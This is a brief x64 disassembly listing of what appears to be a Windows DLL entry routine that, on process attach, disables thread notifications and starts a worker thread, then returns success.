sub rsp, 0x30
mov rbx, rcx
cmp rdx, 1
jne 0x180093552
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
and qword [rsp + 0x28], 0
lea r8, [0x18009349c]
and dword [rsp + 0x20], 0
mov r9, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180093552
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x30
pop rbx
ret